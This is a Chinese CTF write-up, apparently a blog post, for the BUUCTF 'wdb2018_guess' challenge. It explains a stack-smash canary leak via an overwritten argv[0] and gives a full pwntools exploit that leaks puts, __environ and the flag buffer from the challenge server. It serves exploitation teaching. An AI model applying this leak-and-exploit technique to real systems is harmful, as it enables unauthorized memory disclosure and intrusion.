BUUCYF之“wdb2018_guess”

简单分析题目:
开了栈不可执行NX保护还有canary,分析程序:将flag读入buff里头,这里主要是解决如何把flag从buff读出来。我们使用stack smash法子。细节不再赘述。

说下利用方法:

  1. 将main函数的argv[0]参数覆盖为(存储我们想要其打印的字符串的)地址,当触发stack canary时,相应机制会和printf 的%s格式化字符串一样的规则打印对应字符串。所以我们想将其覆盖为buff的地址
  2. main函数的第三个参数,环境变量envp[]也存在栈上,同时在gdb里头可以打印其地址,所以这里只需要gdb在gets函数,strcmp函数这两处执行时下断点分别看输入被存放的地址(这里可以从rdi查看),就可以计算偏移量,于是:
  3. 我们先利用第一次泄露的puts地址计算environ地址,进而计算偏移泄露buff内容

在这里插入图片描述

1是我们buff地址所在,我们分析程序汇编代码可以发现strcmp函数执行前将两个参数:buff,s2地址分别存入rdi,rsi中,如图即为其地址,2是最开始argv[0]地址,3是environ地址

WP:

from pwn import*
context.log_level='debug'
p=remote('node4.buuoj.cn',28503)
elf=ELF('./GUESS')
libc=ELF('./libc-2.23.so')

put_got=elf.got['puts']
leak1='a'*0x128 + p64(put_got)

p.sendlineafter("Please type your guessing flag",leak1)
p.recvuntil("stack smashing detected ***:")
addr_=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(addr_))
base=addr_-libc.sym['puts']
environ_=base+libc.sym['__environ']


leak2='a'*0x128+p64(environ_)
p.sendlineafter("Please type your guessing flag",leak2)
p.recvuntil("stack smashing detected ***:")
envir=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
flag_=envir-0x168

leak3='a'*0x128+p64(flag_)
p.sendlineafter("Please type your guessing flag",leak3)
p.interactive()

结,其余分析题目细节看其他师傅

另外还有个比较离谱的是这个地址偏移量的问题:我在ubuntu21上gdb调试时发现这个“s2和argv[0]的距离或者是buff和environ的距离”都相较于ubuntu16调试的结果要大0x40,,,,,,,离谱之~~~

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值